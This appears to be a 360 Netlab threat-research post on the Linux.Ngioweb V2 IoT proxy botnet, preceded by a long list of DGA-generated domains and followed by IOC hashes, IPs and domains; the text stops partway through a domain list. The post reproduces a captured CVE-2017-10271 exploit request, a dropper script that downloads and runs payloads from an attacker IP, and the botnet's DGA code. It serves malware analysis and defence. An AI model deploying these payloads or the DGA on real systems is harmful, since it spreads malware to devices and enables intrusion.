deraxehuward-subazitish.info
postupazety.info
minicakoth.net
misenenunary-multifesakure-transofoxant.com
precurokation-ilalapish.net
semigilitous.com
anticekipic-unetikenancy.biz
enecexodom.info
ultrapoloven-transigamance.com
pretiheful.name
macrodivuward-imizamism-ilahocution.name
minikeseness-misidovate.biz
enolocist-exahazoward-recosifary.com
reroberancy-iraxifous-transevicenern.net
misetepelike-semicadarement-macrokibolike.com
regasoment.name
overafupunern.org
prexuhuled-prebitucossion.info
underavegal-imuduvize.biz
overacuxoping-monodomiment-disoxecing.net
misirepahood-prorolonite.org
microxakeror-microxepation-underuronodant.net
monopikety.name
colanokic-delogisify-cobumuth.com
relacelical-semirehigern.com
subabozihood.org
emeleriward-semimocoful-interifihetion.info
ultramasizeth-rexuricission.info
inepibadom-transexusement-underudokirate.com
relodoful-inazifutor-nonafitipance.name
degakiring-multitamalulike-exosarese.biz
diseburodom.biz
ilivebusion-provovogous-exugikobic.name
inezokussion.info
macrococopish-minituluship-antiluvuless.info
cozafufihood-execuhance-postasahanish.org
microkobotish.com
regofaly.name
disalatible-misubukith.com
subugizobish-postidacage-iruxukical.biz
overupobidom.name
ultratulahood-noneguvive.info
underocukefive.org
subasinufy.com
iresizegal-depufapehood.net
iretokeward-unenecixous.biz
ilivusagage.net
microsihoxical.org
suboxuveness.net
subehefufy.org
antivovavedom-postagoxible.com
semipipedom-deginaship.com
antifahegion.com
emuxehoness-emovoxofency.biz
interulacetn.com
rerenussion-ilezetuxish.org
prexasikable.org
irobusaging-enocegolal.com
antigocossion.biz
enuxagonist-imepehehood-releridom.biz
degixehiness.com
rezedukussion-transaneping.com
semifozussion.info
enehigure-misaxamurist-interexixist.net
nonaxacihood-irebonozish-transevohency.org
imosomable.name
enecimarian-microbifimassion.name
enesuzacity-refopement-transidocodom.biz
postupidic-subedadian-underofoxoment.info
transeguxution-interuhamugism-irihoxeward.net
exivorish.name
dedemify.com
rekitahadom-multipiliship-presidevite.org
monokohohoful-overerukikize.net
propocazify-misahotify-iretesan.name
coparasuship.org
iragopity-overosisement.info
deruzesion.com
suborikapor.biz
enudipern-antixaboly-ultradomovofy.org
antinihiless-multiperediship.net
microtesedom.biz
transukeletn.net
microkisotion.info
ultravixovive-ilohukikish-exopecuhable.biz
overepelument-macropomelike-nonezitiship.org
microdotefize-monobedovite.com
misegisan-interazasoful-ultraxosimen.info
iniricity-monogimikese.net
exifopith-propisuty-macrobiguness.net
resasety-multikobekuth.org
iririmoship-monoxurevance.com
unufazicese-postelagable.org
rexocoful-multiraxovical.biz
denikager-transaderisancy.net
subisivikish-ilurilenan-imisihexist.name
interefifed-nonedapoward-prebonuloly.biz
cogukesuship.com
antikozohotion.name
ilefoxaly-iluxucadize.org
prefadirodom.name
macromezevite-macrozomotoward-suboxezeness.org
repihobary-nonubotath.net
nonixurive.name
inatomeletn.com
imehifoded-derodeward.org
unetolinible-multidofexern-iluhumese.com
exazegetn.info
multikevelike.net
microfidiment-ilolerency-misivezelize.name
minisahimiward-regabokoly-dekezosese.info
iliputobous-microkusession.info
multivepilike-emusoketn-enihenatable.com
imopedahary.info
overimupigish-prozunily.info
ilulohipism-microhasoless.name
underogemement-minifocaman.info
ultrasulahood-iropogision-imomuvuhood.net
rezepuxical-subocinary.info
ultrabesacify-emuferiming.name
underepibible-exarozish.info
transenumument-ultrameresision.org
prokunikency.com
exaduhify-prepexily.info
disugosize-proserahible-emogucern.info
disexeguless.info
inemebous-nonecezancy.biz
enuguvohish.org
rebasotity-postifoner.org
misekozihancy-miniretulelike-anticulevument.biz
transobonetion.biz
overapezor-renihution-interozopoful.name
demexoming-transoratirite-precezerancy.net
prekageren-prodikuzument.name
postufimation.info
postugakive-subodavure.name
demetosith-pronizevission-underogovable.com
antizufossion.info
overifodist-exinutiship-probibalidom.info
detozahood-exehorobify.name
macrohukoxure.info
disigaror.net
subadadutian-underatuzity-imapuxonist.biz
ultraxapohood-unukuxible-inalusacant.org
imidufion-multifaxehood.org
irevitinive-interekemily-devudedefy.com
probekohodom-transohimument.info
multivamision-unabizable-minivifebusion.net
emecazufing.biz
enofelary.net
antivizodidom-underozivuzal.org
semiragotion.biz
ultrataconess-microrogotion.info
ultrahezuveth-nonivocify-unenokith.com
emeciritize.info
minirahision-iroficecic.name
macrofiturive-disabotous-misuxoxoward.com
unimeceth-antifexaty-dexevexoth.net
imuzifuship-antixutoless.name
overumudukist-microfahuhation-undericozist.net
proviburaty-disadufezal.com
imonoroship.net
pretohihotion-macroxerameness-irekiboward.net
unaxadumer-ilufitary.com
subigecilike-remimussion.info
overikelirern.com
emohinan-overekirenion.org
antisizaly-transecegety.name
ilomirism.com
microsuression-ultrabumutive-transisapussion.biz
overorohokic-pretezacian-misilefusion.org
monoxatocan-imavitulency-eniguboring.net
unuzugable.biz
postiduvern.org
micromomabed-semikikefage.net
antimineful-interanosotion-transulicate.com
renavilaty.biz
multigidumable-disefezage-irebekency.name
inugecism.org
ememozian-interapurossion.info
ilecevish.org
antihusiment-macrovarilision-semisoxument.name
minixecumoward-antibevunely.biz
macroguzofy-exuluparical.name
postutasian-emosolosor.name
macromagehood-exarexofion-depetihood.com
misipivixency-transerezucing-monobegofassion.biz
ilizehidom.name
ultrafaruhood-prohudodom-overatopument.info
enurudition-multigidohood-exorovusion.com
misebataness-antifupition.info
cosefuness-antikufeputy-transenuvous.net
prexubupossion.name
ultranucopite-multifevuship.net
profahudom-ultraxediship.org
prexevadom.biz
transipekal.org
monogixition.info
overuletedite-misokorism-enetunan.net
rezobucous-prodotily-ultraleveward.org
imogugomed-ultradomukaship-prodezavadom.info
ultranotohood-mononuzocotion-minipariveness.org
monovuvecish-monohedonaless-ultramurahuship.org
subanomigate-underogozeful.info
ultrafohuward-imuheber-interasiririze.net
imuhuxoth-misefatasive.biz
transosurugen-nonumovern-macroxanulike.org
unofafuhood-misasusomism.biz
enuvahion-nonelipical-interolugor.org
suboserite-underuxafakous-subatihoward.com
prepamovary-iresucefy-emagabive.name
interafuxession-delosorolike.com
unixagihood.com
unasodatite-overugasist-semivobuduty.info
macrovafith.com
ematogafible-interaxologor-iregiding.info
derivacing-iloxeheful-inecemed.org
microseboful-transebisation-degokition.biz
postorabity-miselugific-minizahiward.com
monokacily.name
underucotal-monobunedoless-minikulify.net
receziless-ultradasify-prefazofish.org
monolalession.name
underizonedom-macropodavuhood.net
misopoval.name
underivadant-semibofixoty.info
minipeboxing-deracocify.biz
overumakency-prekozulure.com
exufifision.com
prezalehaly.info
dekasafy-imevinupable.info
coviviship-pronehaless.info
ultratovibuhood-microburodom.info
underucebohical.net
antitegabussion-devumuth-revexorical.com
iritukan-interatadite-misafegoth.com
semibizolument-underotaxive.net
misilaracal-minisomudese.name
cobevahant-minimufocity-cotoxanoth.com
prozapetament.info
underumamotion-interediripite.org
exofecukity.biz
underusimant-unigaverical.info
underarixogage.org
iripabath-irecuboxible.info
underobomipous-imofevazancy.info
dekegexive-derokukith.net
microbigukement-overazoredom.info
postaruxanant.com
remenuty-postexinity.org
irohorafy-antixomafese.org
exanisary-disomugetn-rekamaty.name
interasupukity-emufucoship-semibumaless.info
macronoboship-probihohodom.info
enorasancy-irenagion-underexelozer.net
prevesuxage-prevakomous-exorovage.info
inehegely-enolobocical.net
iranuzulike-subibeneship-misezomor.name
interipurusist-antimafidom-multinedisency.info
overidaturary-antikezuful-dexepovish.name
ultrakorudath-exofabidern-cogenakulike.org
semipodofate-misibogesion-unasobuhood.org
emubicodency-interotupure.net
imetocirian.biz
underunazency-microrisover-antineheless.biz
macrocumubohood-emukafosion-subupenure.info
depifesion-suburinipible-interinokage.com
unihogish.name
minilugovefy.net
semigakitan.net
misuviking-transidodunate.com
antimupacary-unixosaward.com
imizagution-cokivaxoship-emavavism.info
postivikism-prefuvezedom-denihuship.org
irirecupist.biz
cofiresary-dedidigage-multivucaness.com
relarity-inagomese-exaderaward.net
nonusonuth-exifaxufy.net
subinobese-transinacibic.net
exegudous-underitifiment.info
multicupapize.info
posticazalish-emedokician-transezuraless.info
ultranepacihood.net
unorubese-inozoficese.org
unocacish-enoniculy.biz
inakirission-multihigutite-dedafuleship.net
imenazotian-ilesafance.com
anticocacable-imonifion-interapopation.biz
mininovition-underucuxety-transamurizancy.com
emozonous.biz
overofucodom-ultrafizudive-enekaconism.org
recitofuly-multikobepofy.org
semixexiless-ilagamic.org
prerozunodom-interixudoment.biz
underanipetn-imanodidible-ultraropagic.name
multikafenoth-antiguhipassion-multilitebern.info
ultralufetous-underecanagive.net
semihesegite-nonilakal-postubetinese.net
nonepitopible-overozuzate-emuxevive.name
ultrafikuth.org
micronixogage-prerihapian-monomibession.info
transahihancy-semizehogament.info
minihihokuward.net
imenipapary-inubuharist-prebemunedom.name
disixadible-monocirecing.org
exixefugal-inaxedoty.biz
postunolobage-premugossion-dexokacate.name
multizocisehood-nonulafapous.name
ultracimosary.info
enotufassion-minikavunous.biz
inuhamage.net
misulonupism.info
desemamoth-recabalible.org
semixukehify-semihofenoment.name
transaroran-subobukezish.name
macrotaxigian-degoxobance-ilidilant.org
antitamokaless-ilusulussion-inaretiless.name
inelocument-enazobity.net
pretetegize.com
prosimetion-interamexish-misexesency.info
underofogize-iruposision.com
nonopegeker-enorefuty.info
disokehamary.org
unetikuhood.org
nonisuzilant-intererevafian.org
prenukorive-semimelekical-semixuxihement.biz
overaxehous-misugutuhood-nonubetabate.name
ilunomabify-unonebern-devicepant.biz
ilegugize.org
exofiralike-imakefebous-inomaluzed.com
antidavumetn-regulanuty-inenidure.org
exupamify-subixosoth.com
regahagize-antitaliless-underoparossion.name
multicefolike-antilihelite-proxunezate.com
semimuxoment.info
disuhosate-nonasilahood.net
prepevation-postebixish-probunedom.info
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\n\nOn June 21, 2019, we published [a blog](__GHOST_URL__/an-analysis-of-linux-ngioweb-botnet-en/) about a Proxy Botnet, Linux.Ngioweb.\n\nOn August 4, 2020, we captured a batch of ELF files with zero VT detection, which are variants of Ngioweb.And we just named it ```V2```.\n\nTwo weeks later, on August 16, we noticed that 9 Nday vulnerabilities were used to spread Ngioweb V2 samples, involving x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) As well as PPC, Hitachi SH, IBM S/390 and other CPU architectures, this marks the beginning of Ngioweb's attack on IOT devices.\n\nOn November 5, 2020, IntezerLabs [twittered](https://twitter.com/IntezerLabs/status/1324346324683206657) about a zip archive called \"bins.october\", which contains 50 Ngioweb samples targeting various linux OS.\n\nWith the low low detected rate on VT, and newly added IoT support, we think it is worthing providing a quick update to reflect the key new features with the new variants, so here are some quick outlines.\n。\n\n\n## Overview\n\nThe main function of the Linux.Ngioweb Bot sample is to implement Back-Connect Proxy on the victim's machine[[1]](https://hide-ip-proxy.com/what-is-a-backconnect-proxy/).The attacker builds multiple bots into a Proxies Pool and controls it through a double-layer C2 protocol, and then provides a Rotating Reverse Proxy Service.\n\nAt present, we have divided Linux.Ngioweb into two versions, V1 and V2. Their core functions are the same. The biggest difference is that V2 puts a lot of information previously stored in plaintext on the stack into one configuration stored in the DATA section, and uses AES encryption. \n\nThe main comparison is as follows:\n\n<a href=\"__GHOST_URL__/content/images/2020/11/ngio_compare.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngio_compare.PNG\" class=\"kg-image\"/></a>\n\n\n## Vulnerabilities\n\nNgioweb V2 is spread through the flowing vulnerabilities. It can be seen that there is no particular preferred device.\n\n- [CVE_2013_3568](https://www.exploit-db.com/exploits/28484) \n- [CVE_2019_8387](https://www.exploit-db.com/exploits/46400)\n- [CVE_2020_14882](https://github.com/jas502n/CVE-2020-14882)\n- [D-Link Devices - HNAP SOAPAction-Header RCE](https://www.exploit-db.com/exploits/37171/)\n- [JAWS_DVR_RCE](https://www.exploit-db.com/exploits/41471/)\n- [NVRmini_cgisys](https://www.exploit-db.com/exploits/40212)\n- [Netgear_Voice_GW_RCE](https://www.exploit-db.com/exploits/38449)\n- [QNAP_NAS_QPS_SID_RCE](__GHOST_URL__/in-the-wild-qnap-nas-attacks-en/)\n- [CVE-2017-10271](https://github.com/c0mmand3rOpSec/CVE-2017-10271)\n\nTake CVE-2017-10271 as an example, the payload in the wild is as follows:\n```\nPOST /**t/Co**ortType HTTP/1.1\nHost: {}7401\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Type: text/xml;charset=UTF-8\nContent-Length: 564\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"><soapenv:Header><work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"><java><object class=\"java.lang.ProcessBuilder\"><array class=\"java.lang.String\" length=\"3\"><void index=\"0\"><string>/bin/sh</string></void><void index=\"1\"><string>-c</string></void><void index=\"2\"><string>cd /tmp;wget http://94.102.50.143/WSW0;chmod +x WSW0;sh WSW0;rm WSW0</string></void></array><void method=\"start\"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>\n```\n\nThe corresponding download script is shown below. The function is very simple: download and execute the Ngioweb sample, and then remove itsel.\n```\n#!/bin/sh\nn=\"QILU TYEQ CNII WTBK AJYZ NNVY FBRW WSMK VTLE ONRB\"\nif [ $# -gt 0 ]; then\n n=$@\nfi\ncd /tmp\nfor a in $n\ndo\n rm $a\n wget http://94.102.50.143/$a\n chmod +x $a\n ./$a\ndone\nfor a in $n\ndo\n rm -rf $a\ndone\nrm $0\n```\n\n## Bot scale\n\nWe were able to sinkhole a few of the DGA domains so we could get a picture of how many bots the botnet has recruited. The following graph shows the V1 version of the bot count, about 3k active daily IPs.\n\n\nOur DNSMon system shows similar numbers on the DGA domain names that has been used.\n\n## Linux.Ngioweb V2 new features \n\nV2 samples contain almost all the popular CPU architectures. Here let’s take a look at the X64 architecture.\n\n> MD5:ce4c23642878788ecaedd0903663244d\n>\n> ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped\n>\n> Packer:None\n>\n> Lib:uclibc\n\n\nAs mentioned above, the core functions of Ngioweb V2 have not changed. Readers can take a look at our last article[[2]](__GHOST_URL__/an-analysis-of-linux-ngioweb-botnet/). We will focus on the new features of Ngioweb V2 here. In the Ngioweb V1 sample, sensitive resource configuration information such as C2, digital signature public key, report entry, etc. are all protected by Stack Strings Obfuscation technique to prevent security personnel from spotting it at a glance.The V2 sample is made more concealed, and this information is encrypted. At the same time, when the V2 sample report back to its C2, it no longer uses hardcoded config. All these make it more difficult for it to be detected. \n\n\n\n### New feature 1: AES encryption for configuration information\n\nThe Ngioweb V2 Bot sample stores the DGA seed, the number of domains generated by DGA, C2, the public key for data signing, and the entry of reported information in a unified configuration. This configuration uses AES encryption for storage. Decrypt the information when it needs to be used, and destroy it after use, preventing sensitive information from being captured simply by memory dump.\n\nA major feature of Ngioweb is the dynamic generation of constant tables required by encryption and decryption algorithms, which increases the difficulty of analysis by security researchers.\n\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov2_aes.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov2_aes.PNG\" class=\"kg-image\"/></a>\n\nAES encryption uses ECB mode, no padding, the secret key and ciphertext are stored in the DATA section, the first 32 bytes are the secret key, and the next 512 bytes are the ciphertext.\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov2_aesdec.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov2_aesdec.PNG\" class=\"kg-image\"/></a>\n\n\nTake the following ciphertext as an example\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov2_cipher.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov2_cipher.PNG\" class=\"kg-image\"/></a>\n\n\nDecrypt the configuration information, for example, C2 is `185.44.75.125:443, 79.141.168.119:443`\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiowebv2_plain.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiowebv2_plain.PNG\" class=\"kg-image\"/></a>\n\n\n### New feature 2: DGA\n\nNgioweb uses the domain generated by DGA as a supplement to hard-coded C2. From V1 to V2 Bot samples, the implementation of DGA has not changed.\n\nThe specific implementation is as follows\n\n```\nuint64_t GenSeed(uint32_t& seed, uint32_t mod)\n{\n uint32_t tmp = 0x41C64E6D * seed + 0x3039;\n seed = tmp;\n return tmp % mod;\n}\nstring dga(uint32_t& seed)\n{\n char* HeadBuf[] = { \"un\", \"under\", \"re\", \"in\", \"im\", \"il\", \"ir\", \"en\", \"em\",\n \"over\", \"mis\", \"dis\", \"pre\", \"post\", \"anti\",\"inter\",\n \"sub\", \"ultra\", \"non\", \"de\",\"pro\", \"trans\", \"ex\",\n \"macro\", \"micro\", \"mini\",\"mono\", \"multi\", \"semi\", \"co\" };\n\n char* BodyBufA[] = {\"able\",\"ant\",\"ate\",\"age\",\"ance\",\"ancy\",\"an\",\"ary\",\n \"al\",\"en\",\"ency\",\"er\",\"etn\", \"ed\", \"ese\",\"ern\",\"ize\",\n \"ify\",\"ing\",\"ish\",\"ity\",\"ion\",\"ian\",\"ism\",\"ist\",\"ic\",\"ical\",\n \"ible\",\"ive\",\"ite\",\"ish\",\"ian\",\"or\",\"ous\",\"ure\" };\n\n char* BodyBufB[] = {\"dom\",\"hood\",\"less\",\"like\",\"ly\",\"fy\",\"ful\",\"ness\",\n \"ment\",\"sion\",\"ssion\",\"ship\",\"ty\",\"th\",\"tion\",\"ward\" };\n\n char* TailBuf[] = { \".net\",\".info\",\".com\",\".biz\",\".org\",\".name\" };\n\n string BlockBufA = \"aeiou\";\n string BlockBufB = \"bcdfghklmnprstvxz\";\n string domain;\n uint32_t dashloop = GenSeed(seed, 3) + 1;\n while (dashloop--)\n {\n domain += HeadBuf[GenSeed(seed, 0x1e)];\n int flag = 0;\n int i = 0;\n if (BlockBufA.find(domain.back()) == string::npos)\n flag = 1;\n int fillcnt = GenSeed(seed, 0x3) + 4;\n while (fillcnt > i)\n {\n\n if (flag + i & 1)\n domain += BlockBufA[GenSeed(seed, 0x5)];\n else\n domain += BlockBufB[GenSeed(seed, 0x11)];\n i++;\n }\n if (BlockBufA.find(domain.back()) == string::npos)\n domain += BodyBufA[GenSeed(seed, 0x23)];\n else\n domain += BodyBufB[GenSeed(seed, 0x10)];\n if (dashloop != 0)\n domain += \"-\";\n }\n return domain += TailBuf[GenSeed(seed, 0x6)];\n}\n\n```\n\nIn V1, DGA Seed is hard-coded 0x05397FB1, and the total number of domains generated is 300.\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov1_dga.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov1_dga.PNG\" class=\"kg-image\"/></a>\n\n\n\nIn V2, DGA Seed and the total number of domains generated are specified by the configuration.\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov2_dga.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov2_dga.PNG\" class=\"kg-image\"/></a>\n\n\nAt present, we have got the following 4 pairs of Seed&Total Count combination, corresponding to the generated DGA domain, see the IOC section.\n\n\n| Seed | Total Count |\n| ---------- | ----------- |\n| 0x01275c63 | 0x12c |\n| 0x01275c63 | 0x3e8 |\n| 0x04bc65bc | 0x12c |\n| 0x00375d5a | 0x400 |\n\n### New feature 3: The C2 reporting entry\n\nIn V1, the entry for bot to connect to C2 is defined in the hard-coded`/min.js`\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov1_entry.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov1_entry.PNG\" class=\"kg-image\"/></a>\n\n\nThe resulting packet is as follows\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov1_packet.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov1_packet.PNG\" class=\"kg-image\"/></a>\n\n\n\n\nIn V2, the entry for bot to connect to C2 is specified by configuration file now.\n\nThe resulting packet is as follows\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov2_packet.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov2_packet.PNG\" class=\"kg-image\"/></a>\n\n\nAt present, we have got 3 sets of entry information in total.\n\n| Report entrance |\n| ------------------------------------- |\n| /min.js |\n| /zvyaga |\n| ```http://185.44.75.125:443/metric``` |\n\n\n## DNSMon Auto blocking\nFor customers using our DNSMon feeds, the DGA domains have been blocked automatically. \n\n## Contact us\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab), or email to netlab at 360 dot cn.\n## IOC\n### Smaple MD5\n```\nbdaf967a6aef57d135b0806192884edc\n7f26365e8d1e1a6ad8199bdddd4e9b3a\n0840951a0c3219db5607754bcdbc1ac1\nd29fb0306ee4b8cfe18c339ee42a98f9\n305a600d309c1bda9e731803e3efca97\nfb469128e67aad899a2b6709cbfe72a6\n19020682555fa33ecf98a11fed499ea9\nb4e5cecdff73f66786f87c1238912003\n2818dfd8337fbb610f8910746c4219d8\nd08e539c47100935fb8ba88a384f0305\nf8263759c9111641d09c9fac6bcd9186\n55ab7aa2ceadb3d30784123f2d534fdf\ncc2ae0ccdf0b4ff94e9d8ab3646ecaa2\n2b484c7f104fe8160022e04d056d1135\ndf84b40ac3bd56bd15ab1d8b4a2bc1a7\n2d6ea04f1f55471113f37239e5e23b19\na20d3f09eebd4102157ecdebf9557326\n4b608985b7f741b0f0ab9f3d59e48f03\n492928276181ca030fc2e1099b27beb2\n300e68b03d8fbef6ce29de4d386eacf3\n4419982c5fb43367203dca14ae6c1311\nf8fdf251acc39fdb4f4444fc7ceb1d0e\nc2695139e23205b96fb07e7ea963216c\n431028b7a672c4167ecc77e36df24236\n61783c6433288689a280bb2640e5f2af\n3e0088ec332172e42c50dd034b7eaae1\n953bd5431f144a976474d7c78de526ec\n3dacf45ff17ba5d6018d3f44c0ea4a02\n30dcce7dfd26f59dee9895cb6c70d51b\n2b7c98eb58062401c8cff9b5fe95b0a3\nff4dbfc96ffce74e5ea057e50e0496e3\n2be2ab5752261a733b5267527fe65d44\na375f20090d9a58c66dc22dd37286d34\nce120caed6b72cb89918dd2b329ceeb9\n01f50c3fc1223e3f96d28bc4cd2c3e56\n5be121ae51e970d4d0a5c08590099d79\nfc98d2deb8563292d830ba37bbb243ad\nafb782061df074ef2852953f47206aaf\nd417f515d24c56e05b9ac17cf6ab2ec3\n10824897899469775974122075c14b56\n0274956798c61a5eecb12d331835854e\n0808dbe61524a6a2a901e6ab2ac66e24\ne1b0b6943d0f209e51e6b5b6744e6a54\n663e0cf63d6b3f25bb33fea0876f3ef0\n052f9c2f465ab33d68957bc25c4e5c0b\n04800a25ce6c8d15e553459deec68bb9\na086b7da8aaf7a27b67db00e69eb1b7a\n77c9d66e1ace1f840ed0416ab365260e\nebb4b45ce5622d75762f62e631436bb2\nce4c23642878788ecaedd0903663244d\n\n00aa9b52e2f3b6ad4426466d7ca5f523\n00b2a36d4070983bab0953ce613d8d8b\n0257a639039f86f159bc6a4a39cded34\n036bc9217942fd5b15f654b4f5dab24f\n05e3369b655e5033d0f74bb3296863b2\n09d9c3b5f7cf1fec26f812d5250bfeb1\n0ac1705fe969fa6ccd3f449aac008b4d\n0f32884f84a366c047b95408316b2c52\n10ad3d84b869e383f1e88d5fc134e912\n1338e36265e8d45ba7689c918ef9b34a\n147b2ea408bef641a2e9d3cb4f7aedb9\n16956c0468e6e2b6665ac4bb81af3164\n16edc8d0d4be1385e9ddadfc722deae4\n178e0c03eb83fb6cebb11d29e0e47ec9\n21e37846936908ac90e6802e92d991df\n2c5e58573bf1783c4557d71f9f1a04b4\n2c7d58b1c5c172f88de7dbc02805eac0\n2e953b78a03b430e803bde99bc0c83e3\n36578d0dd5685abe6c4ed063221c59d0\n37a6966b4092317e0b4079bdf0f5b0a0\n39aaf64bd70846d2fe7b77ebc42be8a3\n39d57c1abd7ae2488cb435c1ebc6d49e\n3bdf12f6aeb84d02119914e63ada932e\n40e88784c93651cec9792487575842e9\n418188e977fc3b280d8919287aeda05b\n4293a45ee5cd00da5505c878bc4fee08\n4efdc2e227fb4b5e61eb5220f9e6d7f4\n505cafe9c309ce61113dcb24124d1eba\n5077972350fce365d085e178f4668c8d\n54c9be7cd4a9f57728352a3426b32e4f\n5b55dce8baa9818de1b828a5ba6b80f4\n6a566eeaab50e22eed6f01684d7521fd\n6c66cf2f923aa9da1494c99d1938cfb6\n72f00975e83856252b8c0c3c687254ef\n7ab879bc960b409f17bcad39a0bf7e3b\n7aea64456ab14dd5d4e060ebfcefd79d\n7e85b4596f95d1d597c46fa72d348061\n7e88eb10e9c67dc650a6ae4912d65e63\n82cef032e2e0fcc9f5582cd5916b97b7\n843f44acc93cbffadd271e4ef5e03103\n89c3f65fccb06f914c68aca218b0679d\n8e6ca6bd922574a44a0a43b32a58ba52\n8e8fd75a560505878cd2c76dca2c7ffe\n92e6185f8d2216eef77b8bcc7c730c57\n94c41d49388acb0089948c3ec618bc53\n9db1cbd2f1d2fbd26aa7c1934e1f182e\n9fdfedf862f11146efd18b42f86268e1\na20ab64e41014fbc992f2dfcb11a10d1\na2967ffd179faaeaab49d48b1473db00\na6fd221cd729d08550acd53767154de3\nb1af3254ae6111efa3e2cb85eacf8e99\nb459053d209c6d188ba89f1097fed1da\nb5985a3fc08623d58d72d342da722f03\nb9ffd7e55c105ab52b81f66badf05846\nbbcd3ca4fbc0b40b0c9149e6371b9432\nbfaa39fb6a151b9a64e59ffd80aa1bc1\nc46121de170ecd5560b459ccf9f7557b\nc587740989c196806c0a9c5e8e07f127\nc77aa0f78c48901d7cc34a871c67eea2\nd2eeb2a760d7a453e9a895c6f161503d\nd7d5cee215140b7511b03885db89cb18\ne52e9f80bd81abc3e855a88fc77a4df4\ne9cb10408706890e48c3758831a631c1\nea319e0ef1b4e3d65a7e4fc23397a20e\nead0e821c939ce0bd271f5c148f5c8ca\nebe39d80a817a090bc1e20c4517b4fb4\nf225a03e407b0f32235d7dfdd333f95e\nf2e28b01742757942c1ce5acbbb8ee00\nf3cbf39e3e95bd3f39bf6dd4e38f5690\nf4445e7cab5694e56008a6ac8382b0cc\nf9ab5e1483fee74e78f81ee2d8c3992b\nfb24abf484c484670be0444a7ae0f918\nfca1611067d38b6ce3234886f0d24cb3\nfe5e88679c091136f0ff3c4f5ded9775\nfeda5a6340a7f71a75c43f43a57b0c1d\n```\n\n### Downloader IP\n\n```\n31.14.40.107\tASN19624|Data_Room,_Inc\t Romania|Bucharest|Unknown\n88.218.16.12\tASN50673|Serverius_Holding_B.V.\t Netherlands|Flevoland|Dronten\n93.174.89.36\tASN202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n94.102.50.156\tASN202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n94.102.59.5\t ASN202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n94.102.50.143\tASN202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n```\n\n### Stage-1 IP C2\n\n```\n162.218.122.123:443 8100|QuadraNet_Enterprises_LLC United_States|New_Jersey|Secaucus\n111.90.149.238:443 45839|Shinjiru_Technology_Sdn_Bhd Malaysia|Kuala_Lumpur|Unknown\n103.193.4.113:443 36351|SoftLayer_Technologies_Inc Singapore|Singapore|Unknown\n185.44.75.216:443 62179|UAB_Ecofon Lithuania|Lithuania|Unknown\n185.44.75.125:443 62179|UAB_Ecofon Lithuania|Lithuania|Unknown\n79.141.168.119:443 133398|Tele_Asia_Limited China|Hong_Kong|Unknown\n```\n\n### Stage-1 DGA Domain (seed=0x01275c63,count=0x3e8)\n```\noverobozikish-semipezavution-interigupant.com\nprotivapical-semiletuful.info\nminikibocency-interorofuly-cotufuhify.com\nproxekigite.net\nexuvasuhern.biz\nmultinipebian.name\ninuzodaless-iluxunency.com\nexubokilike-antilifizement.biz\ntransumudate.org\nmisuradabite-minibelaped-interetukuxable.net\nprexunevament-macrotelulike-antipucudument.name\ndisorihous-monofulefiful.name\nenecixety.biz\ntransoxapakancy-antidukovify.net\nsubimemibate.name\niledozible.net\nunumopafy-antimixaly.biz\ninterilurocary-provohiless.name\ninuvelasure.com\nexovifist-multiseferiness.com\nsubidekancy-ileratily.name\npostosofaping-irikinalike.net\nememacotian-ultrakenikoward-exudetancy.info\nminilavuxufy-microtuhaly.name\nmultimilufy-exirorary.info\nultracadopiship-exinuhilike.net\nsubasamuhal-overufaring-emedotifure.info\ndisadugous-microdopiful-disicivize.org\nsubuvusen.info\nenozufety-inilorely.name\ninocinossion.info\ndisanevisish-misanolazen.biz\ntransegunant.com\nexelituhese-depifukary.info\ninterazimist-microlitonish.com\nprefunidom-postaxugiment.biz\nilolulian-nonisotive-overenevecese.net\nprocihanoly-postutegism.net\nsemivudely-cocehiward-renesoful.name\nultrafisekian-multitecaness.org\nreravugission-enulebuten.com\nsububofahood-semigumudom.biz\ntransinoromite-prohetahety-ilapeben.net\nrenuxakassion-ultravavamilike.org\nemufatohood-regunicotion.info\ninterixamily.name\nminirehugeship-prefepedism-rezomabiment.biz\nenefiling-semipisigical.net\nirebition-cocusifify.biz\ninteraxomaty-enunamage-prebuzipure.com\nuninicaxous.info\npostobigahese-micronepodom.biz\nmacrogizofant.name\nmacrogucapofy-semifenaly-interusoboty.name\nmultitemaber-delutafy-unehonecism.info\nminikibamize-interekekadom.name\ndisulahifing-prefuzetion.biz\nunderubulian.com\nexovezufy.com\nprehagovern-subapalaship-iripatixist.info\nmultimanibic-transirizikage.net\nanticisubaless-overatexossion-ultrakidefalike.net\nmisutokahood.net\nresibapese-iribelancy.biz\nunderefunible-subunizal.biz\nultracibeward-unimumanable.info\noverasizous-semigofehify-emepaving.name\nultracuvupancy